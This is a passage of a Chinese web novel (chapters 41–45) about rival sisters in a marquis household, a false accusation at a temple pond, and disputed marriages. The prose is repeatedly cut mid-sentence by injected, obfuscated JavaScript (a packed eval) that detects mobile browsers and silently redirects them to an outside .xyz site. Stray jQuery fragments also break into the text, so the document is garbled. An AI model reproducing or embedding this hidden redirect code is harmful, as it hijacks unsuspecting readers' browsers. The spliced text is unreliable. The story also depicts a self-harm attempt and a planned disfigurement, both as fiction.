晏明远狠狠地瞪了晏逐星一眼,赶忙开口:“侯爷说笑了,您今日只是见义勇为,我们又怎能恩将仇报让您夫妻不睦。待会回了侯府,我会禀明父亲,让父亲登门道谢。”
“这还差不多。”威宁侯冷哼一声,甩手离开。
这天寒地冻的,他快被冻**。
晏明月没想到自己偷鸡不成蚀把米,竟然一个忽然冒出来的人踢到了池子里。
原本该落水的是晏逐星啊!!!
“是你,是你害的我。你故意把我推下水的。”她目眦欲裂,冲着晏逐星大吼大叫。
晏逐星眼眶瞬间红了,她哽咽道:“当时只有我和你还有你的丫鬟在,我一个站稳都费劲的人,怎么当着你丫鬟的面把你推下去?”
“先前大哥和沈夫人他们过来的时候看得清清楚楚,我摔在地上无人搀扶,连爬都爬不起来。”
原本要离开的那些人听到两人的对话,又停住了脚步。
看来,这出好戏还没结束呢。
第41章 这一回,王爷总不会继续偏袒晏大小姐了吧?
晏明月一时语塞。
晏逐星确实没推她。
但要是说有个黑衣人突然从树上跳下来把自己踹进池子,旁人恐怕只会觉得她是落水之后失心疯了。
这理由荒唐得她自己都不信。
她必须咬死是晏逐星干的。
“就是你,当时站在我身边的只有你一个人,不是你还能是谁。”说完她扭头看向一旁的丫鬟,“蔓儿,你说,是不是大小姐推我下水的?”
蔓儿浑身发抖,看着二小姐骇人的目光,头都快埋进衣领里了。
她飞速道:“是大小姐推的,奴婢亲眼瞧见了。”
晏明远听到这话,指节捏得喀嚓响,盯着晏逐星像看脏东西,充满厌恶。
“往日你在府里欺辱明月还不够,在玄空寺这等佛门清净地也敢作恶?”
他猛地拔高了声音:“来人,将她带回去请家法,定远侯府可容不得残害手足的畜生。”
众人听到这话顿时议论纷纷。
“没想到啊,定远侯府的大小姐竟然这般蛇蝎心肠,竟然要害死亲妹妹。”
“她站都站不稳了,还能推人下水么?我怎么感觉此事有猫腻啊?”
“能有什么猫腻,在场的丫鬟都看到了。还有,侯府世子都站出来指认了,这位大小姐平日里就欺负二小姐。这样恶毒的人,什么事做不出来。”
众人七嘴八舌地讨论着。
隐匿在角落里的停云偷偷看了身旁的王爷一眼。
先前晏大小姐的丫鬟九栀将晏明月踹下水的时候,他和王爷可都瞧见了。
这一回,王爷总不会继续偏袒晏大小姐了吧?
不曾想,下一刻,谢翊宁就高声开口:“是么?本王看到的,和你说的可不一样。”
停云眼皮突突直跳。
玄空寺的香是不是掺了**散,怎么好像王爷对这位晏大小姐更着迷了。
听到“本王”二字,众人都看了过来。
沈夫人看清他的脸,顿时露出错愕的表情,赶忙行礼:“见过永安王。”
听到这个名号,那些围观的人群“歘”一下都闪开,默默给他让出了道。
谢翊宁袍角翻卷,大步走到了晏逐星身边,停云挎着剑跟在三步外,活像霜打蔫的茄子。
晏逐星也很惊讶。
她没想到在这又遇上了永安王。
她在心底暗暗腹诽,永安王怎么总是神出鬼没的。
上次在威宁侯府他也是忽然就冒了出来。
也不知道他今天是什么时候来的,先前九栀藏身树上时,不会被他看到了吧?
“王爷此言何意?”晏明远眉头皱得紧紧的。
上一回,就是因为永安王的出现,晏逐星才得以逃脱父亲母亲的责罚。
这一回,他又想做什么?
晏明月将指甲深深掐入掌心,身子依旧止不住哆嗦。
永安王到底看上晏逐星什么了,为什么每一次晏逐星有难,他都能第一时间站出来替她撑腰。
不行,这一次绝对不能放过晏逐星。
她抢在谢翊宁回答兄长之前开口:“王爷,我知道您心疼姐姐,但您总不能每一次都不分青红皂白地偏袒她吧?”
一石激起千层浪。
晏明月这话让围观的人群更兴奋了。
晏二小姐这话里的意思,莫不是说永安王和晏大小姐有私情?
围观香客们脖颈齐刷刷抻长半寸,咽口水声混着衣料摩擦声,传来窸窸窣窣的声音。
谢翊宁只是淡淡地撇了他们一眼,那些躁动的眼珠子又慌忙低垂下去。
罢了,这位活祖宗惹不起,还是不要当面议论他的私事为妙。
“阿嚏。”
晏明月打了个喷嚏,她冻得牙齿上下打架。
“不过姐姐命好有王爷庇护,小女无话可说,就当是我自己摔的吧。”她做出了一副伤心欲绝,不得不打碎牙齿往肚子里吞的委屈感。
晏明远想替妹妹说话,但是碍于对方的身份,不敢多说什么,只得恨恨地瞪了晏逐星一眼。
“好一张颠倒黑白的嘴。”谢翊宁鼓起了掌。
“本王先前瞧见一位黑衣人从树上一跃而下将你踹进池子。”
“结果你却非要说是晏大小姐推的你。莫非那人是你安排的?特意演这么一出戏,好让众人怜悯你,憎恶你姐姐?”
晏明月原本就冻得发白的脸这一刻更是白得吓人。
什么,永安王竟然全都看到了?
她脱口而出:“不是我安排的!”
“咦,这么说那确实有黑衣人存在咯?”围观人群有人发出惊叹。
晏明月只否认了她没安排人,但没否认黑衣人啊。
“没错。先前一个黑衣人忽然从树上跳下来。”晏逐星指着那密不透风的古树,露出了惊恐的表情。
“他一脚将妹妹踹到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525932|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了放生池里,还顺带把我给绊到了地上。随后他就消失了。”
玄空寺的这棵千年古树乃是京中一道奇观。
寒冬腊月,漫山树木早秃得精光,偏它枝叶茂密。墨绿色树冠压着积雪,远看像座翡翠垒的塔。
因而里边若是藏了人,不仔细看还真是看不出来。
众人见她信誓旦旦,心里对她的怀疑都有些动摇,转而看向了晏明月。
晏明月没想到冒出个永安王来搅局,她咬紧牙关道:“我没看到什么黑衣人,就是晏逐星推的我。大哥,我好冷,我要冻坏了。”
她哆嗦了起来,随后当场晕了过去。
晏明远吓坏了,抱着她大喊她的名字。
“明月,明月。”
见她没有反应,当即将她打横抱起,暴呵道:“来人,快将二小姐送去回春堂就医。”
晏逐星可不打算让他就这样走了,她伸手拦住了二人。
“你做什么?明月落了水,如今又昏迷,人命关天,难不成你想让她死吗?”晏明远双目猩红,恨不得跟她拼命。
“妹妹的命重要,真相也同样重要。若今日不洗清我的冤屈,流言蜚语又岂能让我活到明日?”晏逐星的语气里也带上了哭腔。
“大哥,我没撒谎,你若不信,命人当场看看二妹妹的后腰。她被黑衣人踹了,肯定留了印迹。”
听到她这话,装晕的晏明月身子一僵。
她后腰之处确实隐隐作痛。
“胡闹。明月可是未出阁的小姑娘,怎能大庭广众之下让人验身。”晏明远气得大口大口地喘着粗气。
晏逐星寸步不让:“将她送到禅房,给她换上干爽的衣裳,省得生病。也正好可以检查她后腰是否有受伤的痕迹。若是有,就能证明不是我推的。”
兄妹二人僵持不下。
谢翊宁直接吩咐了下去:“将晏二小姐送去禅房。”
晏明月听到这话知道自己这回走不掉了,气急攻心,原本只是装晕,现在是真的晕过去了。
晏明远还要反驳,没想到停云直接把他和晏明月一起打包送去了禅房。
在场一片哗然。
谢翊宁看向一旁的沈夫人和沈墨湘。
“赶巧沈侍郎的夫人和千金都在,不如你们入内做个见证吧。”
沈夫人:……
早知道她就不看这个热闹了。
这下尴尬了吧。
第42章 他怀疑永安王是故意的,但他没证据
晏明远守在门外来回踱步,担忧晏明月因为落水出事。
他恨恨地瞪了晏逐星一眼:“要是明月有个三长两短,我让你给她偿命。”
“那若是晏明月污蔑了我呢?”晏逐星淡定反问。
“不可能。”晏明远脱口而出。
“明月和你这种撒谎成性的人不一样,她不会骗人的。”
晏逐星笑了笑,没说话。
一旁的谢翊宁眉头微蹙。
晏明远这话他可不爱听,于是他佯装无聊踢地上的碎石子玩。
鞋尖一勾,花生米大的碎石直冲晏明远的面门而去。
“啪”地一声闷响。
晏明远捂着嘴**两步,疼得直抽气,再松手时上唇已肿成红亮的小山包。
“抱歉,本王没注意。”谢翊宁一脸无辜。
“无妨。”晏明远从牙缝里挤出两个字。
他怀疑永安王是故意的,但他没证据。
“嘎吱”一声响。
禅房的门被打开了。
沈夫人和沈墨湘走了出来。
沈墨湘看到他肿起来的嘴唇,猛地瞪大了眼睛。
“世子,你的嘴怎么了?”
“没事,不小心磕到了。”晏明远用手捂嘴含糊道,“明月怎么样了?”
“有些发热了,恐怕要迅速送去医馆。”沈夫人回答道。
晏明远急得不行,当下就要让人把晏明月抬到马车上。
晏逐星开口询问:“沈夫人,不知二妹妹身后可有伤痕?”
沈夫人和沈墨湘有些难以启齿。
这事真是得罪人啊。
一旁跟进去检查的双鲤脆生生道:“小姐,二小姐后腰确实有一块红肿。一看就是被人踢了。”
“不可能。”晏明远还是不信。
他扭头看向沈家母女,眼里带着殷切的期盼。
“伯母,沈小姐,你们不会骗我的吧,是不是这丫鬟在撒谎?”
当着永安王的面,沈夫人不敢撒谎,只得尴尬地开口:“二小姐后腰处确实有伤痕。”
听到这个结论,围观的香客们终于心满意足地离开了。
果然是二小姐撒谎了呀。
晏明远脑袋“嗡”一下炸开,但他下意识地替亲妹妹说话。
“不一定是人踢的呀,也可能是落水后被水中的东西磕碰到了。”
“若是磕碰,又怎么会那么巧,只有一个伤。”双鲤振振有词。
晏明远脸“噌”一下就红了。
他一时间想不出该如何辩解,只得转移话题:“人命关天,我先送明月去医馆。”
说完就让人抬着晏明月上了马车,完全忘了自己还有一个腿受伤的妹妹。
沈家母女也不好多呆,冲永安王行了一礼后便告退了。
晏逐星也冲他行了一礼:“多谢王爷仗义执言,臣女也告退了。”
“本王正巧要回城,顺路捎你一程吧。”谢翊宁慢悠悠地开口。
停云撇了撇嘴:巧什么啊,王爷分明是故意等人家的。
顺路?
两家明明都不在一个方位。
顺的哪门子路。
晏逐星迟疑片刻后,还是点头答应了。
“多谢王爷。”
正好,她也想问问谢翊宁为何三番五次地救她于水火之中。
晏逐星坐上了软舆,准备下山。
走到了半路,忽然听到前方传来重物坠地的声音。
紧接着,就是一阵兵荒马乱的惨叫声和训斥声交杂在一块。
“二小姐!”
“你们干什么吃的,连个软舆都抬不动?!”
双鲤得了晏逐星的眼神暗示,快步跑过去瞧发生了什么事。
不一会儿,她就跑回来了,气喘吁吁道:“是二小姐的软舆断了,摔了。”
晏逐星在心底冷笑。
晏明月这是自作孽不可活啊。
她若不对软舆动手脚,又怎会落得如此下场。
“人没事吧?伤得重不重呀?”晏逐星一脸关切地询问。
“幸亏大少爷拦得快,只滚到了边上,没掉下山。只是脸好像擦伤了。”双鲤将看到的一切清清楚楚描述出来。
晏逐星扭头看向谢翊宁。
谢翊宁像是知道她要说什么,开口安抚:“放心,本王让人先把你送回侯府。”
“多谢王爷。此事得尽早告知父亲母亲。”晏逐星故作担忧。
下到山脚,谢翊宁命停云驾车将晏逐星送回侯府,自己骑马回王府去了。
晏逐星原本还想在马车上和他谈谈这几次报恩的事情。
见他策马离去,只得作罢。
晏逐星刚到侯府,就被下人请去花厅。
“大小姐,侯爷和夫人在等您。”
她心下顿时了然,看来晏明远已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532044|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
派人先回侯府告过状了。
一入花厅,温如霜将手边的茶盏砸向她。
她声嘶力竭地怒吼:“你这个混账东西,先害了我,又要把你妹妹也害死吗?”
晏逐星心有防备,闪身躲开了。
没砸中她,温如霜愈发恼怒,她气得直拍桌子。
“丧门星,你就是个丧门星。你要害死我们全家才罢休吗。”
答对了。
晏逐星在心底默默回答。
但她一言不发,只是委屈地看了定远侯一眼。
见她看向自己,定远侯心底那点父爱陡然升起,扭头训斥道:“你这是在做什么,明月受伤,关星儿什么事?”
温如霜不可置信地抬头看向他:“侯爷莫不是忘了,明月才是我们的亲女儿?”
“那又如何。本侯一视同仁!星儿养在我们名下,那就是我们的亲生骨肉。成日强调这事,你是恨不得孩子跟我们离心吗。”定远侯怒骂。
温如霜被他这话气得脸涨红,喘不上气,喉咙里发出“嗬嗬”的声响。
李氏吓了一跳,赶忙给她顺气。
晏逐星委屈地开口:“母亲这话说的可就伤了女儿的心了。虽然我不是你们亲生,但您和父亲这些年的养育之恩我是万万不敢忘的。”
这话说到了定远侯的心坎里,他跟着点了点头。
晏逐星继续火上浇油:“今日二妹妹掉到往生池里,被威宁侯所救,玄空寺上香的香客都瞧见了两人湿哒哒抱在一起的场景。”
“而后她说是我将她推下水的,却被永安王揭穿了真相。众人皆知是她污蔑了我。还是沈家夫人出来替我澄清的。”
“后来抬她下山的人和软舆,也是二妹妹自己准备的。我知道她摔花了脸您很伤心,但我全程没插手,您怎么能怪到我身上呢。”
“难不成,不是亲生的就该死吗?”
温如霜听着那些话,心脏像被捅出无数血窟窿。
她引以为傲的女儿啊,就这么毁了。
她愤怒得连牙关都在打颤。
她抬手指向晏逐星,还没来得及开口斥责,一股刺鼻的骚味突然漫开,定远侯和晏逐星同时看了过去。
淡黄液体顺着她裙角往下淌,滴滴答答地在青砖地上积起一滩水渍。
温如霜整个人僵在原地,脸上血色褪得干干净净。
第43章 好友变后娘
一瞬间,所有人都沉默了。
温如霜她不敢去看他们二人的表情,闭上了眼,死死抓住李氏的手:“送我回房。”
“是。”李氏赶忙让人把她抬回了屋里去。
“咱们到一旁去说吧。”定远侯用手捂住了鼻子。
“好。”晏逐星乖顺地点了点头。
“你把先前的事情再说一遍。说仔细些,任何细节都不要放过。”定远侯沉声开口。
他收到晏明远派人传回来的消息后,一阵暴怒。
眼看女儿就要及笄,可以许配人家了,竟然闹出了这样荒唐的事情。
和威宁侯肌肤相亲后,京城里谁家还愿意娶她。
“大哥和二妹妹几次三番邀请我去玄空寺上香,我腿脚不便,本不欲前往。但想着要给母亲祈福,便也跟着去了。”晏逐星将今日之事缓缓道来。
定远侯越听脸色越难看。
晏明远派人回来说得十分简略,他只知道晏明月落水后被威宁侯所救,以及下山时摔伤了脸的事。
其他一概不知。
没想到这背后竟然还有这么多波折。
恐怕明日天不亮,他们定远侯府就要变成满京城茶余饭后的嚼头了。
不行,明日卯时他必须要往宫里递折子告病。
一想到同僚们憋笑的神情,他就恨不得连夜收拾细软逃出京城。
太丢人了。
只可惜,今日还得抓紧去威宁侯府走一趟。
救命之恩若是不报,他们也不用在京城立足了。
一时间,定远侯整张脸阴沉得像是被暴雨前的黑云压着。
让晏明月去做妾,他是全然不肯的。
但硬要嫁过去当平妻,两家定然要结仇。
可如果不让她嫁人,日后她的亲事该怎么办。
他一阵心烦意乱,看向晏逐星:“星儿,你觉得今日之事该如何是好?当真要让你妹妹去侯府做妾么?”
“此事女儿不敢做主,不如父亲命人去问问母亲。母亲最疼妹妹了,定然不会害了她。”晏逐星把这个烫手山芋抛了出去。
“有道理。”定远侯忙不迭点头,决定去找温如霜要个主意,晏逐星趁机称累了,回自己屋子里休息。
温如霜已经换了一身衣裳。
见到定远侯,她下意识地就想起了先前那个丢人的场景。
虽然这段时间她已经减少饮水,又请大夫来日日替她针灸治疗,但情绪一激动还是会控制不住出现失禁的场景。
她咬紧牙关,费劲挤出一句话:“侯爷怎么来了?”
“我是想问问你,明月这事到底该怎么办?是让她嫁过去,还是怎么着。”定远侯也不废话。
经历了先前的事情,他现在一靠近温如霜,就感觉她身上带着一股味,眼里不自觉地就流露出嫌弃。
温如霜看见他这表情,指节猛地抠进蚕丝被面,生生扯开了一个窟窿。
她控制不住自己的情绪,撕心裂肺地尖叫:“不行。明月比威宁侯的女儿还小一岁,你让她嫁过去,那不是让全京城的人笑话么。”
“若不嫁过去,你说,这京城里还有谁愿意娶她?”定远侯揉了揉耳朵。
原本,他对这个女儿是寄以厚望的。
没想到,现在折在了威宁侯手里。
让一个年纪和自己差不多大的人当女婿,他也很不情愿的好么。
温如霜一时语塞,不知道该怎么说。
“如今还不知道明月是什么状况,若是真伤了脸,那她可就更嫁不出去了。还不如就嫁威宁侯呢。”定远侯语气愈发不耐烦。
温如霜的脸色瞬间变得惨白。
若是脸伤着了,那可就真的全完了。
“你快去催催,大少爷怎么还没把二小姐带回来。”她着急忙慌地让人去把晏明远找回来。
刚提到两人,就听到下人匆匆跑了进来禀告:“大少爷领着二小姐回府了。”
“快将两人请过来。”温如霜当即吩咐。
没一会儿,晏明远就领着晏明月回来了。
晏明月还在昏迷,是被人抬进来的。
晏明远看到父亲母亲都在,羞愧地跪到地上认错:“是孩儿无能,没能护住妹妹。”
温如霜着急地扑向床边想要查探晏明月的情况,这一眼她差点昏过去。
晏明月的脸被山道上的碎石棱角和路边的荆棘刮破了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536159|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皮,横七竖八地爬着六七道血痕,最骇人的那道裂口从右眼尾斜劈到嘴角。
若是日后留下疤痕,那可就全完了。
定远侯瞧见这一幕,心沉到了谷底。
……
没等定远侯去登门,威宁侯夫人钱氏就已经知道了此事。
今日在玄空寺上香的有她娘家的嫂嫂。
回府后嫂嫂第一时间命人将这消息告诉了她。
钱氏快气疯了:“这小贱蹄子可真不要脸。侯爷都能当她爹了,竟然还妄想嫁给侯爷。”
一旁的嬷嬷给她倒茶,劝慰道:“夫人消消火,可别气坏了身子。侯爷有分寸着呢,都说了就算要娶,那也只能做妾。”
钱氏狠狠拍了一下桌子:“侯府嫡女做妾,可能么。你当定远侯是那么好糊弄的。”
她一颗心像是在油锅里煎着,难受得她眉头紧锁。
“定远侯也未必肯让嫡女嫁过来……”嬷嬷小心翼翼地措辞安抚。
“满京城的人都瞧见她清白没了,除了嫁给侯爷,还有谁愿意娶她。定远侯一家肯定要赖上门了。”钱氏说着尾音陡然变得哽咽,眼泪不受控制地落下。
她一遍又一遍地擦眼泪,擦到帕子都被洇湿透了,还是没能止住眼泪。
嬷嬷说尽了好话,好不容易哄得她止住了眼泪。
“嘎吱”一声响。
门被猛地推开。
钱氏抬头一看,是女儿赵云霏回来了。
赵云霏看到母亲落泪顾不得询问发生了什么事,直接追问:“娘,明月当真要嫁给我爹么?”
她不说还好,一说反倒勾得钱氏的眼泪扑簌簌往下落。
“呜呜呜。”她抱着女儿泣不成声。
看她这个反应,赵云霏便知道外边的传言是真的了。
她顿时僵在了原地。
她先前从学堂回来,便听到死对头嘲讽她爹要另娶,娶的还是她的闺中密友。
这太荒唐了!
她迫不及待地回来找母亲求证,没想到,竟然是真的。
好友变成小娘,她无法接受。
这时,门外忽然传来了下人的通禀声。
“夫人,定远侯登门道谢了。”
第44章 婚后的光景
“晏明月呢?她来了吗?”赵云霏跺跺脚,气得想要去找人算账。
钱氏擦掉眼泪,赶忙拉住了她:“你一个闺中女子,不得参与此事。去将你祖父和祖母请来。”
前不久她才被罚跪祠堂,想到这,赵云霏不敢冲动,只能老老实实地去请祖父祖母。
威宁侯正在将今日之事告知爹娘,见女儿来请人,顿时很烦躁。
“爹娘,此事劳烦您二老费心了。待会晏鸿升问起,就说我为了救他闺女,冻病了。我就不信这样他还能不要脸地把女儿塞给我。”
老威宁侯和老夫人同时点了点头,脸色也很难看。
儿子一把年纪,明年都要当祖父了,娶一个明年才能及笄的小丫头像什么话。
听到父亲这话,赵云霏长长地舒了一口气。
至少父亲没有动摇。
有祖父祖母在,晏明月应该嫁不进来吧。
老威宁侯和夫人一前一后进了正堂。
定远侯见到二老,垂袖行了个触地全礼。
老威宁侯摩挲着手上的黄杨木拐头,老夫人指间翡翠佛珠捻得飞快,两人都一言不发。
定远侯觑着老侯爷和老夫人的神色,猜测到今日恐怕有一场硬仗要打。
他露出一个感激地笑容,慷慨激昂道:“今日多亏了宗禹兄,若不是他,我家明月恐怕就要溺死在玄空寺了。”
他一连说了好几句感激的话,又让下人将精心准备的谢礼送了上来。
老侯爷这才开口:“宗禹良善,今日无论谁落水,他瞧见了都会去救。”
“是的是的。”定远侯赔着笑脸附和。
老夫人紧跟着开口:“你的谢礼已经收下,你回吧。宗禹因为救你那闺女,如今冻病了,正躺床上歇着呢。”
“唉,原不该提这茬。”定远侯一摊手,露出一副自责的神情。
“宗禹兄与我家明月肌肤相亲一事,当时玄空寺的香客们可都瞧见了。如今满城传得风风雨雨,晚辈斗胆请二老做主,许我家明月一个名分。”
“荒唐!难不成要我儿停妻再娶?”老侯爷重重砸了一下拐杖。
“不可能。钱氏为我威宁侯府诞下两子两女,打理侯府多年从未出过岔子。谁要动我儿媳妇,我坚决不同意。”老夫人的话掷地有声。
躲在外边偷听的钱氏听到婆婆这话,感动得直抹眼泪。
定远侯赶忙摇头:“让宗禹兄停妻再娶,那是恩将仇报的做法。我怎么会做出这样下作的事情。”
听到这话,二老脸色稍缓。
他们对视一眼,老夫人开口了。
“那贤侄的意思是,愿意让令嫒给宗禹做妾?”
定远侯露出一抹苦笑:“明月是侯府嫡女,做妾于理不合。”
“那你要如何?”老夫人皱起了眉头。
门外的钱氏也攥紧了帕子,紧张地等待着他的下一句话。
“晚辈想让明月以平妻的身份,嫁到威宁侯府来。”定远侯说出了自己的想法。
来之前,他已经和夫人吵过一架了。
夫人虽不愿意让女儿嫁给威宁侯,但这已经是当下最好的办法了。
威宁侯如今才四十,女儿若是嫁过来,努努力,说不定还能生个儿子。
日后威宁侯府的世子之位,也不是不能争一争。
“不行。”老夫人再一次拒绝。
定远侯听到反对,也不恼,再提出了一个新的解决办法。
“宗禹兄若不娶,换你们威宁侯府一脉的嫡子来娶也行。你家嫡次子今年十七尚未婚配对吧,不如娶了明月,结两姓之好。”
“那怎么行!”门外偷听的钱氏按捺不住冲了出来。
先打她夫君的主意,如今又惦记上她儿子。
她绝不同意让这种搅家精嫁进来。
“这也不行那也不行。你们是想逼死我女儿吗?”定远侯也恼了。
“我看是你想逼死我。抢我夫君,还要害我儿子,我死给你看我,我就不信这全京城没有一个讲理的地方了。”钱氏说完就要撞柱。
谁也没想到她会做出这样的举动。
竟然直直地就让她撞了上去。
一时间,威宁侯府鸡飞狗跳。
……
威宁侯府和定远侯府都乱糟糟的,户部侍郎府也不遑多让。
沈夫人回府后,和夫君沈源晖说起了今日相看的事情。
两人商议过后,都觉得定远侯府不是一个好去处。
他们的女儿是娇宠着长大的,家中关系简单,没有那么多钩心斗角的事情。
本来觉得女儿日后能当上侯府
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538705|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主母,也是一件光宗耀祖的事情。
如今瞧见了定远侯府的家风,还是算了吧。
夫妻俩达成一致,可沈墨湘却看上了晏明远,哭闹着非要嫁给他。
“我就要嫁给他。”沈墨湘气得直跺脚。
沈夫人急得把绣帕都要绞成麻绳了。
她无奈又生气:“湘儿,听话,娘还能害你不成。那定远侯府就是个**不吐骨头的豺狼窝,你是万万不能嫁过去的。”
沈墨湘扁扁嘴道:“哪有那么可怕。”
今日玄空寺初见,定远侯府那位大少爷眉目如画,玄色锦袍衬得他恍若谪仙。
让她一见倾心。
私下相处时,他克己守礼。
替她折花枝时连袖口都不曾相碰,偏生三两句玩笑话便逗得她帕子掩唇直笑。
满足了她对未来夫婿的一切幻想。
她连婚后的幸福光景都想过了。
晨起时他执螺子黛为她描眉,黄昏后她研着松烟墨陪他作画,过两年她再给他生儿育女,日子过得蜜里调油,好不惬意。
可如今,父亲母亲竟然不让她嫁给他。
“傻丫头,你想想今日在玄空寺的事。”沈夫人无比懊恼自己把女儿养得那么天真。
从前她想着女儿能享福的日子并不多,在娘家快活的日子就这么几年,去到婆家就没有这样轻松随意的日子了。
等定下婚事后,再慢慢教导她为**子的道理和打理庶务的办法。
没想到,却是害了她。
沈夫人只得把道理掰开揉碎了告诉女儿:“今日之事,不管是定远侯府哪一位小姐谋划的,都只能说明这两人没一个是省油的灯,心眼子一个比一个多。你若嫁进去,必定受欺负。”
沈墨湘嘟囔道:“都是女儿,迟早要嫁出去的。”
沈夫人指节顶着突突跳的太阳穴,继续道:“还有,晏明远不分青红皂白就冤枉了晏家大姑娘,可见此人惯会偏听偏信的。你若嫁过去,他偏信了旁人的话,冷落你怎么办?”
沈墨湘一时间哽住了,但她还是不死心,辩解道:“晏大哥不是这样的人。再说了,说不定他偏信我呢。”
沈夫人:……
累了。
这么大的女儿还塞不回肚子里,谁来救救她。
第45章 晏明远倒戈
见好言相劝没有用,沈夫人冷着脸拍桌子,放出狠话:“总而言之,我和你爹都不会同意你嫁过去的,你就**这条心吧。”
她狠下心将女儿关了起来,连院门都落了锁,不准她再闹腾。
而后开库房取了青玉笔洗,连同一支老参一并装匣,差管家快马送去礼部尚书府。
当初既是陈夫人给两家牵的线,如今这桩婚事不成,自然要备足赔罪的体面,托她再去递个话。
礼部尚书夫人陈氏得知沈家不愿将女儿嫁到定远侯府去,叹了一口气。
这定远侯府最近确实不顺。
先是出了侯府大小姐闹上公堂的荒唐事,又传出了其非亲生,给世子下药的丑事,随后侯府主母摔成了残废,如今侯府嫡女又落水失了清白。
这一桩桩事儿接连不断,也难怪人家不愿结亲。
“你说会不会是定远侯府招惹了什么邪祟,才会接二连三倒大霉。”她忍不住看向了夫君。
礼部尚书曹正安看了一眼妻子:“既是如此,那你还不离他们远些,省得将晦气带到家里来。”
陈氏忙不迭点头:“夫君言之有理,我这就递帖子,明日去定远侯府走一趟。”
翌日。
陈夫人登门,委婉转达了沈家的意思,温如霜气急攻心,当场吐出了一口血。
陈夫人吓坏了。
她只是帮忙牵线搭桥,可不想惹上人命官司啊。
她匆匆将赔礼留下便离开了。
温如霜醒来后,恨不得当场提刀去**晏逐星。
不仅两个孩子的婚事全毁了,她自己还摔成了终身残疾。如今躺在床榻上动弹不得,活像被钉在板子上的鱼。
“夫人!二小姐醒了,这会儿正闹着寻死呢!”芙儿慌慌张**进来,裙摆还沾着泥点子。
自打茉儿死后,蔓儿跟着二小姐去玄空寺出了岔子,挨了板子还躺着呢,这跑腿的差事全落在她身上。
温如霜刚缓过气,闻言眼前一黑,差点又背过气去。
她死命捶着身下的床板,嗓子都劈叉了:“快把我抬到瑶华院去!”
刚进瑶华院,就听到了晏明月撕心裂肺的哭声,其中还夹杂着晏明远和晏明修的安慰声。
温如霜心都要碎了。
她被抬进去后,哀哀地唤了一声:“明月,到娘亲的身边来。”
晏明月死死捂住脸,指甲掐进脸颊肉里,无助地哭着。
满地都是摔碎的铜镜片,闪着冷光。
醒来后,听说父亲要把她塞给威宁侯当平妻,对方还很嫌弃只让她做妾,她气得抓起梳妆台上的铜镜就砸了个粉碎。
再摸到脸上横七竖八的疤痕,她哆嗦着抓起块碎瓷片就往手腕上划。
顶着这张烂脸给人做妾,倒不如**干净。
然而丫鬟们发现后,尖叫着阻止她,还把兄长和母亲都给请来了。
“出去,你们都出去。”她背着身子,不想让家里人瞧见自己如今这副狼狈的模样。
“明月,别哭了,二哥这就给你报仇去!”晏明修急得团团转。
他没想到,不过去了一趟玄空寺,未来的大嫂没了,二妹妹的脸也毁了。
“你拿什么给我报仇!”晏明月哑着嗓子呛声,抓起碎瓷片往地上狠狠一砸。
“我的脸都烂成这样了,往后连出门见人都要戴帷帽!若是同时和姐姐一块出门,恐怕人人都会赞姐姐貌若天仙。我呢?顶着这张烂脸,恐怕看门的小厮都要啐一口唾沫!”
“那我便帮你也毁了她的脸。”晏明修脱口而出。
晏明月止住了哭声,缓缓转过身,但还是没有松开捂着脸的手。
“当真?”
“嗯!”晏明修重重点头。
“你放心,我还会去请各种名医来医治你的脸,一定不会让你留下疤痕。”
一旁的温如霜沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538706|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
